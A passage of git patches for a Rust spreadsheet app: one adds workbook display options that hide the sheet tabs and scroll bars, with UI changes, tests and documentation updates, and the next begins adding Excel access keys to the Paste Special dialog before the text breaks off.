assert_eq!(d.wb.active().unwrap().view, gridcraft_model::SheetViewMode::PageBreakPreview); assert!(!d.is_dirty(), "back at the saved edits, the view alone isn't a change"); } + +#[test] +fn workbook_display_options_are_commands() { + // #3101: Show sheet tabs / horizontal / vertical scroll bar, toggling without `on`, saved with + // the workbook and undoable. + let mut s = Session::new(); + s.new_workbook(); + let view = |s: &Session| s.doc().unwrap().wb.view; + assert_eq!(s.execute("view.showSheetTabs", json!({})).unwrap()["on"], json!(false)); + assert_eq!(s.execute("view.showHorizontalScrollBar", json!({"on": false})).unwrap()["on"], json!(false)); + assert_eq!(s.execute("view.showVerticalScrollBar", json!({"on": false})).unwrap()["on"], json!(false)); + let v = view(&s); + assert!(!v.show_sheet_tabs && !v.show_horizontal_scroll && !v.show_vertical_scroll); + let (back, _) = gridcraft_xlsx::read_xlsx(&gridcraft_xlsx::write_xlsx(&s.doc().unwrap().wb).unwrap()).unwrap(); + assert_eq!(back.view, v, "saved with the workbook"); + s.execute("edit.undo", json!({})).unwrap(); + assert!(view(&s).show_vertical_scroll); + assert_eq!(s.execute("view.showSheetTabs", json!({})).unwrap()["on"], json!(true), "toggles back"); +} diff --git a/crates/ui-egui/src/backstage/options.rs b/crates/ui-egui/src/backstage/options.rs index 6b9f70eb7..afe976733 100644 --- a/crates/ui-egui/src/backstage/options.rs +++ b/crates/ui-egui/src/backstage/options.rs @@ -2,7 +2,8 @@ use super::{Key, Language, Modifiers, SheetApp, Ui, dim, i18n, json, section, ve /// Excel's File › Options page: General (display theme, interface language and Show formula bar), /// Editing (AutoComplete) and Save (the autosave checkbox toggling `app.ui.autosave`), plus Formulas -/// (calculation mode and iterative calculation) when a document is active. Theme, language, formula +/// (calculation mode and iterative calculation) and the display options for this workbook (sheet +/// tabs and scroll bars) when a document is active. Theme, language, formula /// bar, AutoComplete and calculation changes run their commands through `run_or_alert`; calculation /// settings are saved with the workbook. pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) { @@ -26,7 +27,20 @@ pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) { if ui.checkbox(&mut autosave, lang.tr("Save .xlsx workbooks automatically after every change")).changed() { app.toggle_autosave(); } - let Some(calc) = app.session.active().map(|d| d.wb.calc.clone()) else { return }; + let Some((calc, view)) = app.session.active().map(|d| (d.wb.calc.clone(), d.wb.view)) else { return }; + ui.add_space(18.0); + // Excel's Advanced › Display options for this workbook: saved with the workbook (#3101). + section(ui, lang, "Display options for this workbook"); + for (on, label, id) in [ + (view.show_horizontal_scroll, "Show horizontal scroll bar", "view.showHorizontalScrollBar"), + (view.show_vertical_scroll, "Show vertical scroll bar", "view.showVerticalScrollBar"), + (view.show_sheet_tabs, "Show sheet tabs", "view.showSheetTabs"), + ] { + let mut on = on; + if ui.checkbox(&mut on, lang.tr(label)).changed() { + app.run_or_alert(id, json!({"on": on})); + } + } ui.add_space(18.0); section(ui, lang, "Formulas"); ui.label(lang.tr("Workbook calculation")); diff --git a/crates/ui-egui/src/grid/show.rs b/crates/ui-egui/src/grid/show.rs index f1416c2ec..287bd0bcd 100644 --- a/crates/ui-egui/src/grid/show.rs +++ b/crates/ui-egui/src/grid/show.rs @@ -20,7 +20,7 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { let available = ui.available_rect_before_wrap(); // A right-to-left sheet has its vertical scrollbar on the left. let rtl = app.session.active().and_then(|d| d.wb.active()).is_some_and(|s| s.right_to_left); - let bar = 14.0_f32.min(available.width()); + let bar = vertical_bar_width(app, available); let rect = if rtl { Rect::from_min_max(pos2(available.left() + bar, available.top()), available.max) } else { @@ -213,6 +213,12 @@ pub fn show(app: &mut SheetApp, ui: &mut egui::Ui) { update_clipboard_repaint(app, ui, now); } +/// The vertical scroll bar's width: none when the workbook hides it (File › Options › +/// Display options for this workbook), and the grid takes its room. +fn vertical_bar_width(app: &SheetApp, available: Rect) -> f32 { + if app.session.active().is_none_or(|d| d.wb.view.show_vertical_scroll) { 14.0_f32.min(available.width()) } else { 0.0 } +} + fn vertical_scroll_track(available: Rect, grid: Rect, rtl: bool) -> (f32, f32) { if rtl { (available.left(), grid.left()) } else { (grid.right(), available.right()) } } @@ -420,6 +426,10 @@ fn paint_panes(input: PanesInput<'_>, cf: &mut CfCache) -> Vec { /// The worksheet is painted virtually, so it needs its own scrollbar rather than a /// ScrollArea containing all million rows. Keep the scroll extent stable during a drag. fn vertical_scrollbar(app: &mut SheetApp, ui: &mut egui::Ui, sh: &Sheet, geo: &Geo, track_x: (f32, f32), limit: f32, t: &Tokens) { + // A workbook that hides its vertical scroll bar leaves it no width. + if track_x.1 <= track_x.0 { + return; + } let track = Rect::from_min_max(pos2(track_x.0, geo.cells.top() + geo.frozen_h), pos2(track_x.1, geo.cells.bottom())); if track.height() <= 0.0 || track.width() <= 0.0 { return; diff --git a/crates/ui-egui/src/tabs.rs b/crates/ui-egui/src/tabs.rs index 6702f7cb8..6147b2e14 100644 --- a/crates/ui-egui/src/tabs.rs +++ b/crates/ui-egui/src/tabs.rs @@ -100,29 +100,37 @@ fn tab_split_handle(app: &mut SheetApp, ui: &mut Ui, split: Rect, bar: (f32, f32 /// Draws the worksheet tab strip: navigation, scroll/reveal, rename/drag/move with optional copy, context menu, new-sheet button, split handle and grid scrollbar. pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { let t = Tokens::get(ui.ctx()); + // File › Options › Advanced › Display options for this workbook (#3101): with neither the + // sheet tabs nor the horizontal scroll bar, the bar isn't there at all. + let view = app.session.active().map(|d| d.wb.view).unwrap_or_default(); + if !view.show_sheet_tabs && !view.show_horizontal_scroll { + return; + } egui::Panel::bottom("sheet_tabs").exact_size(32.0).frame(egui::Frame::NONE.fill(t.tab_bar)).show(ui, |ui| { let rect = ui.max_rect(); ui.painter().line_segment([rect.left_top(), rect.right_top()], Stroke::new(1.0, t.ribbon_border)); ui.horizontal_centered(|ui| { ui.spacing_mut().item_spacing.x = 0.0; ui.add_space(8.0); - if crate::widgets::icon_button(ui, Icon::Left, t.text_dim, app.ui.language.tr("Previous sheet"), vec2(24.0, 24.0)).clicked() { - app.run_or_alert("sheet.previous", json!({})); + if view.show_sheet_tabs { + if crate::widgets::icon_button(ui, Icon::Left, t.text_dim, app.ui.language.tr("Previous sheet"), vec2(24.0, 24.0)).clicked() { + app.run_or_alert("sheet.previous", json!({})); + } + if crate::widgets::icon_button(ui, Icon::Right, t.text_dim, app.ui.language.tr("Next sheet"), vec2(24.0, 24.0)).clicked() { + app.run_or_alert("sheet.next", json!({})); + } + let all = crate::widgets::icon_button(ui, Icon::SheetList, t.text_dim, app.ui.language.tr("All sheets"), vec2(24.0, 24.0)); + all.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, true, app.ui.language.tr("All sheets"))); + let items = app.session.active().map(|d| navigator_items(&d.wb.sheets)).unwrap_or_default(); + let active = app.session.active().map(|d| d.wb.active_sheet().to_string()).unwrap_or_default(); + let rows: Vec<(&str, String)> = items.iter().map(|(i, name)| (i.as_str(), name.clone())).collect(); + if let crate::ribbon::ComboResult::Picked(i) = crate::ribbon::editable_combo(ui, &all, "sheet_navigator", &active, &rows, false) + && let Ok(i) = i.parse::() + { + activate_sheet(app, i); + } + ui.add_space(8.0); } - if crate::widgets::icon_button(ui, Icon::Right, t.text_dim, app.ui.language.tr("Next sheet"), vec2(24.0, 24.0)).clicked() { - app.run_or_alert("sheet.next", json!({})); - } - let all = crate::widgets::icon_button(ui, Icon::SheetList, t.text_dim, app.ui.language.tr("All sheets"), vec2(24.0, 24.0)); - all.widget_info(|| egui::WidgetInfo::labeled(egui::Role::Button, true, app.ui.language.tr("All sheets"))); - let items = app.session.active().map(|d| navigator_items(&d.wb.sheets)).unwrap_or_default(); - let active = app.session.active().map(|d| d.wb.active_sheet().to_string()).unwrap_or_default(); - let rows: Vec<(&str, String)> = items.iter().map(|(i, name)| (i.as_str(), name.clone())).collect(); - if let crate::ribbon::ComboResult::Picked(i) = crate::ribbon::editable_combo(ui, &all, "sheet_navigator", &active, &rows, false) - && let Ok(i) = i.parse::() - { - activate_sheet(app, i); - } - ui.add_space(8.0); let Some(d) = app.session.active() else { return }; let (bar_left, bar_width) = (ui.cursor().left(), ui.available_width()); let uid = d.uid; @@ -143,6 +151,8 @@ pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { // After the handle at the scrollbar's left edge is dragged, the tabs and New sheet // take the share it was dragged to. let tabs_width = match share { + // Without the scroll bar the tabs have the whole bar. + _ if !view.show_horizontal_scroll => (bar_width - NEW_SHEET_WIDTH).max(0.0), Some(share) => (bar_width * share - NEW_SHEET_WIDTH).max(0.0), None => (bar_width * 0.6).max(100.0), }; @@ -155,154 +165,159 @@ pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { data.insert_temp(reveal_id, reveal_key); changed }); - ui.allocate_ui_with_layout(vec2(tabs_width, 30.0), egui::Layout::left_to_right(egui::Align::Center), |ui| { - // Translate vertical wheel movement into horizontal - // worksheet-tab scrolling. - let wheel_scroll = if ui.rect_contains_pointer(ui.max_rect()) { - ui.input(|i| { - let d = i.smooth_scroll_delta; - if d.x.abs() > d.y.abs() { d.x } else { d.y } - }) - } else { - 0.0 - }; + if view.show_sheet_tabs { + ui.allocate_ui_with_layout(vec2(tabs_width, 30.0), egui::Layout::left_to_right(egui::Align::Center), |ui| { + // Translate vertical wheel movement into horizontal + // worksheet-tab scrolling. + let wheel_scroll = if ui.rect_contains_pointer(ui.max_rect()) { + ui.input(|i| { + let d = i.smooth_scroll_delta; + if d.x.abs() > d.y.abs() { d.x } else { d.y } + }) + } else { + 0.0 + }; - egui::ScrollArea::horizontal() - .id_salt("worksheet_tabs_horizontal") - .auto_shrink([true, false]) - .min_scrolled_width(0.0) - .scroll_bar_visibility(egui::scroll_area::ScrollBarVisibility::AlwaysHidden) - .show(ui, |ui| { - if wheel_scroll.abs() > 0.0 { - ui.scroll_with_delta(vec2(wheel_scroll, 0.0)); - } - ui.horizontal(|ui| { - ui.spacing_mut().item_spacing.x = 0.0; - for (i, name, color, active) in sheets { - let renaming = app.grid.renaming_tab == Some(i); - let font = if active { theme::ui_bold(13.0) } else { theme::ui_font(13.0) }; - let tw = ui.painter().layout_no_wrap(name.clone(), font.clone(), t.text).size().x; - let w = (tw + 32.0).max(72.0); - let (r, resp) = ui.allocate_exact_size(vec2(w, 30.0), Sense::click_and_drag()); - if active && reveal_active { - resp.scroll_to_me(None); - } - let r = r.shrink2(vec2(0.0, 1.0)); - if active { - ui.painter().rect_filled(Rect::from_min_max(pos2(r.left(), r.top() - 2.0), r.max), 4.0, t.tab_active); - ui.painter().rect_stroke( - Rect::from_min_max(pos2(r.left(), r.top() - 2.0), r.max), - 4.0, - Stroke::new(1.0, t.ribbon_border), - StrokeKind::Inside, - ); - } else if resp.hovered() { - ui.painter().rect_filled(r, 4.0, t.hover); - } - if let Some(c) = color { - let band = Rect::from_min_size(pos2(r.left() + 6.0, r.bottom() - 4.0), vec2(r.width() - 12.0, 3.0)); - ui.painter().rect_filled(band, 1.0, theme::color32(c)); - } else if active { - let band = Rect::from_center_size(pos2(r.center().x, r.bottom() - 3.0), vec2(tw.min(48.0), 2.5)); - ui.painter().rect_filled(band, 1.0, t.accent); - } - if renaming { - let mut text = app.grid.rename_text.clone(); - let mut child = ui.new_child(egui::UiBuilder::new().max_rect(r.shrink2(vec2(6.0, 5.0)))); - let ed = child - .add(egui::TextEdit::singleline(&mut text).font(theme::ui_font(13.0)).desired_width(r.width() - 12.0)) - .accessible_name(app.ui.language.tr("Sheet Name")); - app.grid.rename_text = text.clone(); - if rename_needs_focus(ed.has_focus(), ed.lost_focus()) { - ed.request_focus(); + egui::ScrollArea::horizontal() + .id_salt("worksheet_tabs_horizontal") + .auto_shrink([true, false]) + .min_scrolled_width(0.0) + .scroll_bar_visibility(egui::scroll_area::ScrollBarVisibility::AlwaysHidden) + .show(ui, |ui| { + if wheel_scroll.abs() > 0.0 { + ui.scroll_with_delta(vec2(wheel_scroll, 0.0)); + } + ui.horizontal(|ui| { + ui.spacing_mut().item_spacing.x = 0.0; + for (i, name, color, active) in sheets { + let renaming = app.grid.renaming_tab == Some(i); + let font = if active { theme::ui_bold(13.0) } else { theme::ui_font(13.0) }; + let tw = ui.painter().layout_no_wrap(name.clone(), font.clone(), t.text).size().x; + let w = (tw + 32.0).max(72.0); + let (r, resp) = ui.allocate_exact_size(vec2(w, 30.0), Sense::click_and_drag()); + if active && reveal_active { + resp.scroll_to_me(None); } - if ed.lost_focus() { - if !ui.input(|i| i.key_pressed(egui::Key::Escape)) && text != name { - app.run_or_alert("sheet.rename", json!({"sheet": i, "name": text})); + let r = r.shrink2(vec2(0.0, 1.0)); + if active { + ui.painter().rect_filled(Rect::from_min_max(pos2(r.left(), r.top() - 2.0), r.max), 4.0, t.tab_active); + ui.painter().rect_stroke( + Rect::from_min_max(pos2(r.left(), r.top() - 2.0), r.max), + 4.0, + Stroke::new(1.0, t.ribbon_border), + StrokeKind::Inside, + ); + } else if resp.hovered() { + ui.painter().rect_filled(r, 4.0, t.hover); + } + if let Some(c) = color { + let band = Rect::from_min_size(pos2(r.left() + 6.0, r.bottom() - 4.0), vec2(r.width() - 12.0, 3.0)); + ui.painter().rect_filled(band, 1.0, theme::color32(c)); + } else if active { + let band = Rect::from_center_size(pos2(r.center().x, r.bottom() - 3.0), vec2(tw.min(48.0), 2.5)); + ui.painter().rect_filled(band, 1.0, t.accent); + } + if renaming { + let mut text = app.grid.rename_text.clone(); + let mut child = ui.new_child(egui::UiBuilder::new().max_rect(r.shrink2(vec2(6.0, 5.0)))); + let ed = child + .add(egui::TextEdit::singleline(&mut text).font(theme::ui_font(13.0)).desired_width(r.width() - 12.0)) + .accessible_name(app.ui.language.tr("Sheet Name")); + app.grid.rename_text = text.clone(); + if rename_needs_focus(ed.has_focus(), ed.lost_focus()) { + ed.request_focus(); } - app.grid.renaming_tab = None; + if ed.lost_focus() { + if !ui.input(|i| i.key_pressed(egui::Key::Escape)) && text != name { + app.run_or_alert("sheet.rename", json!({"sheet": i, "name": text})); + } + app.grid.renaming_tab = None; + } + } else { + ui.painter().text(r.center(), Align2::CENTER_CENTER, &name, font, if active { t.accent } else { t.text }); } - } else { - ui.painter().text(r.center(), Align2::CENTER_CENTER, &name, font, if active { t.accent } else { t.text }); - } - // A right-click activates the tab too, as in Excel, so the menu's sheet commands (Protect - // Sheet, Select All Sheets) act on the sheet that was clicked rather than the one that was active. - if resp.clicked() || (resp.secondary_clicked() && !active) { - activate_sheet(app, i); - } - if resp.double_clicked() { - app.grid.renaming_tab = Some(i); - app.grid.rename_text = name.clone(); - } - // Drag to reorder; with the copy modifier held, drop a copy instead. - let copy = drop_copies_sheet(ui.input(|inp| inp.modifiers), ui.ctx().os() == egui::os::OperatingSystem::Mac); - if resp.dragged() && copy { - ui.ctx().set_cursor_icon(egui::CursorIcon::Copy); - } - if resp.drag_stopped() - && let Some(p) = ui.input(|inp| inp.pointer.interact_pos()) - { - let dx = p.x - r.center().x; - let steps = (dx / w).round() as i64; - if let Some(params) = tab_drop(i, steps, copy) { - app.run_or_alert("sheet.move", params); + // A right-click activates the tab too, as in Excel, so the menu's sheet commands (Protect + // Sheet, Select All Sheets) act on the sheet that was clicked rather than the one that was active. + if resp.clicked() || (resp.secondary_clicked() && !active) { + activate_sheet(app, i); } - } - resp.context_menu(|ui| { - ui.set_min_width(180.0); - if ui.button(app.ui.language.tr("Insert Sheet")).clicked() { - app.run_or_alert("home.insertSheet", json!({"before": i})); - } - if ui.button(app.ui.language.tr("Delete")).clicked() { - app.run_or_alert("home.deleteSheet", json!({"sheet": i})); - } - if ui.button(app.ui.language.tr("Rename")).clicked() { + if resp.double_clicked() { app.grid.renaming_tab = Some(i); app.grid.rename_text = name.clone(); } - if ui.button(app.ui.language.tr("Move or Copy…")).clicked() { - app.open_dialog("moveSheet", json!({"sheet": i})); + // Drag to reorder; with the copy modifier held, drop a copy instead. + let copy = drop_copies_sheet(ui.input(|inp| inp.modifiers), ui.ctx().os() == egui::os::OperatingSystem::Mac); + if resp.dragged() && copy { + ui.ctx().set_cursor_icon(egui::CursorIcon::Copy); } - if ui.button(app.ui.language.tr("Duplicate")).clicked() { - app.run_or_alert("sheet.move", json!({"sheet": i, "to": i + 1, "copy": true})); + if resp.drag_stopped() + && let Some(p) = ui.input(|inp| inp.pointer.interact_pos()) + { + let dx = p.x - r.center().x; + let steps = (dx / w).round() as i64; + if let Some(params) = tab_drop(i, steps, copy) { + app.run_or_alert("sheet.move", params); + } } - ui.menu_button(app.ui.language.tr("Tab Color"), |ui| { - let colors = app.session.active().map(|d| d.wb.theme.colors).unwrap_or_default(); - if let Some(c) = crate::widgets::color_palette_fixed(ui, &colors, app.ui.language.tr("No Color")) { - app.run_or_alert("sheet.tabColor", json!({"sheet": i, "color": c})); + resp.context_menu(|ui| { + ui.set_min_width(180.0); + if ui.button(app.ui.language.tr("Insert Sheet")).clicked() { + app.run_or_alert("home.insertSheet", json!({"before": i})); + } + if ui.button(app.ui.language.tr("Delete")).clicked() { + app.run_or_alert("home.deleteSheet", json!({"sheet": i})); + } + if ui.button(app.ui.language.tr("Rename")).clicked() { + app.grid.renaming_tab = Some(i); + app.grid.rename_text = name.clone(); + } + if ui.button(app.ui.language.tr("Move or Copy…")).clicked() { + app.open_dialog("moveSheet", json!({"sheet": i})); + } + if ui.button(app.ui.language.tr("Duplicate")).clicked() { + app.run_or_alert("sheet.move", json!({"sheet": i, "to": i + 1, "copy": true})); + } + ui.menu_button(app.ui.language.tr("Tab Color"), |ui| { + let colors = app.session.active().map(|d| d.wb.theme.colors).unwrap_or_default(); + if let Some(c) = crate::widgets::color_palette_fixed(ui, &colors, app.ui.language.tr("No Color")) { + app.run_or_alert("sheet.tabColor", json!({"sheet": i, "color": c})); + ui.close(); + } + }); + ui.separator(); + if ui.button(app.ui.language.tr("Hide")).clicked() { + app.run_or_alert("sheet.hide", json!({"sheet": i})); + } + if ui.button(app.ui.language.tr("Unhide…")).clicked() { + app.run_or_alert("sheet.unhide", json!({})); + } + ui.separator(); + let protected = app.active_sheet_protected(); + if ui + .button(if protected { + app.ui.language.tr("Unprotect Sheet…") + } else { + app.ui.language.tr("Protect Sheet…") + }) + .clicked() + { + app.open_dialog("protectSheet", json!({})); + } + if ui.button(app.ui.language.tr("Select All Sheets")).clicked() { ui.close(); } }); - ui.separator(); - if ui.button(app.ui.language.tr("Hide")).clicked() { - app.run_or_alert("sheet.hide", json!({"sheet": i})); - } - if ui.button(app.ui.language.tr("Unhide…")).clicked() { - app.run_or_alert("sheet.unhide", json!({})); - } - ui.separator(); - let protected = app.active_sheet_protected(); - if ui - .button(if protected { - app.ui.language.tr("Unprotect Sheet…") - } else { - app.ui.language.tr("Protect Sheet…") - }) - .clicked() - { - app.open_dialog("protectSheet", json!({})); - } - if ui.button(app.ui.language.tr("Select All Sheets")).clicked() { - ui.close(); - } - }); - } + } + }); }); - }); - }); - ui.add_space(6.0); - if crate::widgets::icon_button(ui, Icon::Plus, t.text_dim, app.ui.language.tr("New sheet (⇧F11)"), vec2(26.0, 26.0)).clicked() { - app.run_or_alert("home.insertSheet", json!({})); + }); + ui.add_space(6.0); + if crate::widgets::icon_button(ui, Icon::Plus, t.text_dim, app.ui.language.tr("New sheet (⇧F11)"), vec2(26.0, 26.0)).clicked() { + app.run_or_alert("home.insertSheet", json!({})); + } + } + if !view.show_horizontal_scroll { + return; } // The track ends where the grid does, so it stops under the vertical scrollbar. let avail = ui.available_rect_before_wrap(); @@ -312,8 +327,14 @@ pub fn sheet_tabs(app: &mut SheetApp, ui: &mut Ui) { let split_left = share.map_or(avail.left(), |share| (bar_left + bar_width * share).min(right - SPLIT_WIDTH - MIN_TRACK).max(avail.left())); let split = Rect::from_min_max(pos2(split_left, avail.top()), pos2(split_left + SPLIT_WIDTH, avail.bottom())); - tab_split_handle(app, ui, split, (bar_left, bar_width), right, uid, &t); - let track = Rect::from_min_max(pos2(split.right(), avail.center().y - 7.0), pos2(right, avail.center().y + 7.0)); + // Without sheet tabs there is nothing to split: the scroll bar takes the bar. + let track_left = if view.show_sheet_tabs { + tab_split_handle(app, ui, split, (bar_left, bar_width), right, uid, &t); + split.right() + } else { + avail.left() + }; + let track = Rect::from_min_max(pos2(track_left, avail.center().y - 7.0), pos2(right, avail.center().y + 7.0)); crate::grid::horizontal_scrollbar(app, ui, track, &t); }); }); diff --git a/crates/ui-egui/tests/it/tab_split.rs b/crates/ui-egui/tests/it/tab_split.rs index 03ca5e9c5..7189358ac 100644 --- a/crates/ui-egui/tests/it/tab_split.rs +++ b/crates/ui-egui/tests/it/tab_split.rs @@ -151,3 +151,49 @@ fn each_workbook_keeps_its_own_tab_share() { assert!(track(&h).left() < 400.0, "a new workbook starts at the default share: {:?}", track(&h)); assert_eq!(h.state().grid.tab_shares.len(), 1, "only the dragged workbook has a share"); } + +/// The tab bar of a workbook whose window has `command` run with `{on: false}` first. +fn harness_without(command: &str) -> Harness { + let mut s = Session::new(); + s.new_workbook(); + s.execute("sheet.rename", json!({"sheet": 0, "name": "Tab00"})).unwrap(); + s.execute(command, json!({"on": false})).unwrap(); + let mut h = crate::common::builder().with_step_dt(1.0 / 60.0).with_size(vec2(900.0, 120.0)).build_ui_state( + move |ui, app: &mut SheetApp| { + app.grid.cells_rect = Some(Rect::from_min_size(pos2(0.0, 0.0), vec2(ui.max_rect().width(), 80.0))); + gridcraft_ui_egui::tabs::sheet_tabs(app, ui); + }, + crate::common::app(s), + ); + h.run_steps(20); + h +} + +fn shows_tab_name(h: &Harness) -> bool { + h.output().shapes.iter().any(|s| matches!(&s.shape, Shape::Text(t) if t.galley.job.text == "Tab00")) +} + +#[test] +fn display_options_hide_the_sheet_tabs_and_the_horizontal_scroll_bar() { + // #3101: File › Options › Advanced, Display options for this workbook. + let h = harness_without("view.showSheetTabs"); + assert!(!shows_tab_name(&h), "no sheet tabs"); + assert!(h.state().grid.tab_split.is_none(), "nothing to split without tabs"); + let bar = h.state().grid.hscroll.expect("the scroll bar stays"); + assert!(bar.left() < 40.0, "the scroll bar takes the bar from its left edge: {bar:?}"); + + let h = harness_without("view.showHorizontalScrollBar"); + assert!(shows_tab_name(&h), "the tabs stay"); + assert!(h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no scroll bar and no split handle"); + + // Both off: no bar at all. + let mut s = Session::new(); + s.new_workbook(); + s.execute("view.showSheetTabs", json!({"on": false})).unwrap(); + s.execute("view.showHorizontalScrollBar", json!({"on": false})).unwrap(); + let mut h = crate::common::builder() + .with_size(vec2(900.0, 120.0)) + .build_ui_state(|ui, app: &mut SheetApp| gridcraft_ui_egui::tabs::sheet_tabs(app, ui), crate::common::app(s)); + h.run_steps(5); + assert!(!shows_tab_name(&h) && h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no bar at all"); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..503a77179 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (Display options for this workbook: sheet tabs and scroll bars; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | File › Options › Display options for this workbook: Show horizontal scroll bar, Show vertical scroll bar and Show sheet tabs (`view.showHorizontalScrollBar`, `view.showVerticalScrollBar`, `view.showSheetTabs`), saved with the workbook; with the sheet tabs off the scroll bar takes the bar, with the scroll bar off the tabs do, with both off the bar goes, and without the vertical scroll bar the grid takes its width (#3101) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From c35ab0f4f4e61c442803114e639db8113ab1fdac Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:41:55 -0600 Subject: [PATCH 248/298] #1482: every Paste Special option has its Excel access key Paste Special only knew the letters F, V, T, C and E. Excel gives every option one: A (All), N (Validation), X (All except borders), W (Column widths), R (Formulas and number formats), U (Values and number formats); O, D, S, M, I for the operations; B for Skip blanks; and L for the Paste Link button, which pastes at once. One table now maps each letter to what it does; Enter still pastes with the chosen options. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/dialogs/paste.rs | 75 ++++++++++++++----- .../ui-egui/tests/it/paste_special_dialog.rs | 47 ++++++++++++ docs/ui-parity.md | 3 +- 3 files changed, 104 insertions(+), 21 deletions(-) diff --git a/crates/ui-egui/src/dialogs/paste.rs b/crates/ui-egui/src/dialogs/paste.rs index 9ac0bc579..253729b2a 100644 --- a/crates/ui-egui/src/dialogs/paste.rs +++ b/crates/ui-egui/src/dialogs/paste.rs @@ -5,6 +5,8 @@ use super::{Dialog, Field, Json, Key, SheetApp, Stroke, json, theme, vec2}; /// come from the dialog's `fields`, so the letter shortcuts and the control channel see the same. pub(super) fn paste_special(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool, open: &mut bool) { let lang = app.ui.language; + // L, the Paste Link button's access key, pastes at once as the button does. + let link_now = d.values.remove(PASTE_LINK_NOW).is_some_and(|v| v == json!(true)); let t = theme::Tokens::get(ui.ctx()); type Choice = (&'static str, &'static str, Vec<(&'static str, &'static str)>); let choices: Vec = d @@ -56,7 +58,7 @@ pub(super) fn paste_special(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialo ui.separator(); ui.horizontal(|ui| { // Excel's Paste Link pastes references to the copied cells straight away. - if ui.button(lang.tr("Paste Link")).on_hover_text(lang.tr("Paste formulas that refer to the copied cells")).clicked() { + if ui.button(lang.tr("Paste Link")).on_hover_text(lang.tr("Paste formulas that refer to the copied cells")).clicked() || link_now { d.values.insert("what".into(), json!("all")); d.values.insert("operation".into(), json!("none")); d.values.insert("link".into(), json!(true)); @@ -74,6 +76,45 @@ pub(super) fn paste_special(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialo }); } +/// Set by the Paste Link access key for the next frame of the dialog, which then pastes. +const PASTE_LINK_NOW: &str = "pasteLinkNow"; + +/// What one of Paste Special's access keys does: choose an option of a group, or flip a box. +#[derive(Clone, Copy)] +enum Mnemonic { + Set(&'static str, &'static str), + Toggle(&'static str), + /// The Paste Link button: pastes at once. + PasteLink, +} + +/// Excel's access keys in Paste Special (#1482): the Paste choices, the operations, the two check +/// boxes and the Paste Link button, each the letter Excel underlines. +fn mnemonic_action(key: Key) -> Option<(char, Mnemonic)> { + use Mnemonic::{Set, Toggle}; + Some(match key { + Key::A => ('a', Set("what", "all")), + Key::F => ('f', Set("what", "formulas")), + Key::V => ('v', Set("what", "values")), + Key::T => ('t', Set("what", "formats")), + Key::C => ('c', Set("what", "comments")), + Key::N => ('n', Set("what", "validation")), + Key::X => 